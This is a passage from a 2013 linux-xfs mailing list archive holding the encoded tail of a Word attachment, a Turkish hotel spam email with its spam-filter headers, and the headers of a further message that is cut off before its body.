AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAA DQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAb AAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKAAAACkA AAAqAAAAKwAAACwAAAAtAAAA/v///y8AAAAwAAAAMQAAADIAAAAzAAAANAAAADUAAAA2AAAANwAA ADgAAAA5AAAAOgAAADsAAAA8AAAAPQAAAD4AAAA/AAAAQAAAAEEAAABCAAAAQwAAAEQAAABFAAAA RgAAAEcAAABIAAAASQAAAEoAAABLAAAATAAAAE0AAABOAAAATwAAAFAAAABRAAAAUgAAAP7///9U AAAAVQAAAFYAAABXAAAAWAAAAFkAAABaAAAAWwAAAFwAAABdAAAAXgAAAF8AAABgAAAAYQAAAGIA AABjAAAAZAAAAGUAAABmAAAAZwAAAGgAAABpAAAAagAAAGsAAABsAAAAbQAAAG4AAABvAAAAcAAA AHEAAAByAAAAcwAAAHQAAAB1AAAAdgAAAHcAAAB4AAAAeQAAAHoAAAB7AAAAfAAAAH0AAAB+AAAA fwAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAABQBTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAACgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAACRAAAAABAAAAAAAAAFAEQAbwBjAHUAbQBlAG4AdABTAHUAbQBtAGEAcgB5AEkAbgBm AG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAOAACAQQAAAD//////////wAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAJsAAAAAEAAAAAAAAAEAQwBvAG0AcABPAGIAagAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAIA//////////////// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHYAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAABAAAA/v////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////wEA/v8DCgAA/////wYJAgAAAAAAwAAAAAAAAEYkAAAA49PK5M8gTWljcm9zb2Z0IE9mZmlj ZSBXb3JkIDk3LTIwMDMACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAUgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAAAABGAAAAAAAAAAAAAAAAkFma I2V9zgGmAAAAgAAAAAAAAABEAGEAdABhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgACAf///////////////wAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAC4AAABpSAAAAAAAADEAVABhAGIAbABlAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAIBAQAAAAYAAAD/////AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUwAAADN7AAAAAAAAVwBvAHIAZABEAG8A YwB1AG0AZQBuAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABoAAgEC AAAABQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOFoAAAAA AACBAAAAggAAAIMAAACEAAAAhQAAAIYAAACHAAAAiAAAAIkAAACKAAAAiwAAAIwAAACNAAAAjgAA AI8AAACQAAAA/v///5IAAACTAAAAlAAAAJUAAACWAAAAlwAAAJgAAAD+//////////////////// ///////////////////////////9/////////////////////v////7///+xAAAA/f///6oAAACr AAAArAAAAK0AAACuAAAArwAAALAAAAD+/////v////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //7/AAAFAQIAAAAAAAAAAAAAAAAAAAAAAAIAAAAC1c3VnC4bEJOXCAArLPmuRAAAAAXVzdWcLhsQ k5cIACss+a5QAQAADAEAAAwAAAABAAAAaAAAAA8AAABwAAAABQAAAIQAAAAGAAAAjAAAABEAAACU AAAAFwAAAJwAAAALAAAApAAAABAAAACsAAAAEwAAALQAAAAWAAAAvAAAAA0AAADEAAAADAAAANYA AAACAAAA6AQAAB4AAAAMAAAA3dHH0yDH4dXa7eYAAwAAACYAAAADAAAACgAAAAMAAAArFQAAAwAA AAAADAALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAB4QAAACAAAAAQAAAAABAAAAAAwQ AAAEAAAAHgAAAAgAAADH4drk5sfkAAMAAAABAAAAHgAAAAYAAABUaXRsZQADAAAAAQAAAJwBAAAD AAAAAAAAACAAAAABAAAAOAAAAAIAAABAAAAAAQAAAAIAAAAMAAAAX1BJRF9ITElOS1MAAgAAAOgE AABBAAAAVAEAABIAAAADAAAABABeAAMAAAADAAAAAwAAAAAAAAADAAAABQAAAB8AAAAdAAAAaAB0 AHQAcAA6AC8ALwB3AHcAdwAuAG0AYgBjAC0AdAByAGEAaQBuAGkAbgBnAC4AYwBvAG0ALwAAAAAA HwAAAAEAAAAAABEAAwAAAAQAXgADAAAAAAAAAAMAAAAAAAAAAwAAAAUAAAAfAAAAHQAAAGgAdAB0 AHAAOgAvAC8AdwB3AHcALgBtAGIAYwAtAHQAcgBhAGkAbgBpAG4AZwAuAGMAbwBtAC8AAAAAAB8A AAABAAAAAAARAAMAAAAEAF4AAwAAAAAAAAADAAAAAAAAAAMAAAAFAAAAHwAAAB0AAABoAHQAdABw ADoALwAvAHcAdwB3AC4AbQBiAGMALQB0AHIAYQBpAG4AaQBuAGcALgBjAG8AbQAvAAAAAAAfAAAA AQAAAAAAEQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAFMAdQBt AG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA KAACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJEAAAAA EAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkA bwBuAAAAAAAAAAAAAAA4AAIBBAAAAP//////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAqQAAAAAQAAAAAAAAAQBDAG8AbQBwAE8AYgBqAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgD///////////////8AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////////////// /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== ------=_NextPart_000_11E2_01CE7D8A.D39095B0-- From info@alserotur.com Thu Jul 11 04:21:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,SUBJ_ALL_CAPS,T_FRT_SLUT,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CFAD37F50 for ; Thu, 11 Jul 2013 04:21:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B5AA230404E for ; Thu, 11 Jul 2013 02:21:30 -0700 (PDT) X-ASG-Debug-ID: 1373534482-04cbb0468fddd050001-w1Z2WR Received: from lin.kalfaoglu.net (mail.alserotrade.com [78.46.222.92]) by cuda.sgi.com with ESMTP id TwAtnTCMymGbBIEa (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 11 Jul 2013 02:21:23 -0700 (PDT) X-Barracuda-Envelope-From: info@alserotur.com X-Barracuda-Apparent-Source-IP: 78.46.222.92 Received: (qmail 60677 invoked from network); 11 Jul 2013 11:21:22 +0200 Received: from 95.0.135.160.dynamic.ttnet.com.tr (HELO ada1Bilgisayar) (95.0.135.160) by kendikendininkocu.com with ESMTPA; 11 Jul 2013 11:21:21 +0200 From: =?iso-8859-9?B?3W5mbyBG/XJhdA==?= To: =?iso-8859-9?B?3W5mbyBG/XJhdA==?= Subject: =?iso-8859-9?Q?ALSERO_TAT=DDL_OTELLER=DD?= Date: Thu, 11 Jul 2013 12:20:22 +0300 X-ASG-Orig-Subj: =?iso-8859-9?Q?ALSERO_TAT=DDL_OTELLER=DD?= Message-ID: <00b301ce7e17$fc5b6a00$f5123e00$@com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00B4_01CE7E31.21A8A200" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac55jIQpwptdq10aSqimUOG8NPYqUgAF4NnwAABSelAAAE/QQAAeqzngAAanqGAAZtZooAAEr/pQAIlGkbAAAVizIAAA2Yyg Content-Language: tr X-Barracuda-Connect: mail.alserotrade.com[78.46.222.92] X-Barracuda-Start-Time: 1373534483 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.06 X-Barracuda-Spam-Status: No, SCORE=1.06 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_IMAGE_RATIO_02, HTML_MESSAGE, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136439 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address Bu, MIME biiminde bir ok paral iletidir. ------=_NextPart_000_00B4_01CE7E31.21A8A200 Content-Type: text/plain; charset="iso-8859-9" Content-Transfer-Encoding: quoted-printable =20 =20 =20 =20 =20 =20 Alsero Tur Palm Wings Beach = Ku=FEadas=FD Crystal = Flora Beach Resort Kemer Aegean Garden Hotel Bodrum =DDda=FE Hotel Marmaris Ares Hotel Alanya P=FDr=FDl Termal = Hotel & SPA =C7e=FEme Hera Beach Hotel Side Kalamaki Beach = Hotel Ku=FEadas=FD =20 Operasyon Merkezi Ku=FEadas=FD: Tel: 0256. 612 66 00 - Fax: 0256. 612 91 = 85 Mail: info@alserotur.com Yasal Uyar=FD: Bu e-postada ilgili bir al=FDc=FD de=F0il iseniz,ve bu = e-postay=FD tekrar alma istemiyorsan=FDz l=FCtfenpazarlama@alserotur.com 'a = bildirin ve e-posta ve t=FCm eklerini kal=FDc=FD olarak silin.=20 Herhangi bir vir=FCs veya k=F6t=FC yaz=FDl=FDm uygulamas=FDna kar=FE=FD = ALSERO TUR makul ve gerekli =F6nlemleri alm=FD=FE olup, bu e-posta ve eklerinin = g=F6r=FCnt=FClenmesi ile do=F0acak=20 herhangi bir k=F6t=FC yaz=FDl=FDm sebepli kay=FDptan ALSERO TUR sorumlu = tutulamaz. =20 ------=_NextPart_000_00B4_01CE7E31.21A8A200 Content-Type: text/html; charset="iso-8859-9" Content-Transfer-Encoding: quoted-printable

     

     

     

     

     

     

    3D"Alsero

    3D"Palm

    3D"Crystal

    3D"Aegean

    3D"=DDda=FE

    3D"Ares

    3D"P=FDr=FDl

    3D"Hera

    3D"Kalamaki

    Operasyon Merkezi Ku=FEadas=FD: Tel: 0256. 612 66 00 - Fax: 0256. 612 91 85 =  Mail: info@alserotur.com

    Yasal Uyar=FD: Bu e-postada ilgili  bir al=FDc=FD de=F0il iseniz,ve bu e-postay=FD = tekrar alma istemiyorsan=FDz  l=FCtfenpazarlama@alserotur.com 'a  bildirin ve e-posta ve t=FCm eklerini kal=FDc=FD olarak silin. =

    Herhangi bir vir=FCs veya k=F6t=FC yaz=FDl=FDm uygulamas=FDna kar=FE=FD ALSERO = TUR makul ve gerekli =F6nlemleri alm=FD=FE olup, bu e-posta ve eklerinin = g=F6r=FCnt=FClenmesi ile do=F0acak

    herhangi bir k=F6t=FC yaz=FDl=FDm sebepli kay=FDptan ALSERO TUR  sorumlu = tutulamaz.

     

    ------=_NextPart_000_00B4_01CE7E31.21A8A200-- From sparkasse.Alert@accountant.de Thu Jul 11 04:44:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1D2D37F58 for ; Thu, 11 Jul 2013 04:44:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id BEC918F8037 for ; Thu, 11 Jul 2013 02:44:19 -0700 (PDT) X-ASG-Debug-ID: 1373535852-04bdf0233edfc4a0001-w1Z2WR Received: from sapo.pt (relay1.ptmail.sapo.pt [212.55.154.21]) by cuda.sgi.com with SMTP id PJWOAYW1UpcOY7ys for ; Thu, 11 Jul 2013 02:44:12 -0700 (PDT) X-Barracuda-Envelope-From: sparkasse.Alert@accountant.de X-Barracuda-Apparent-Source-IP: 212.55.154.21 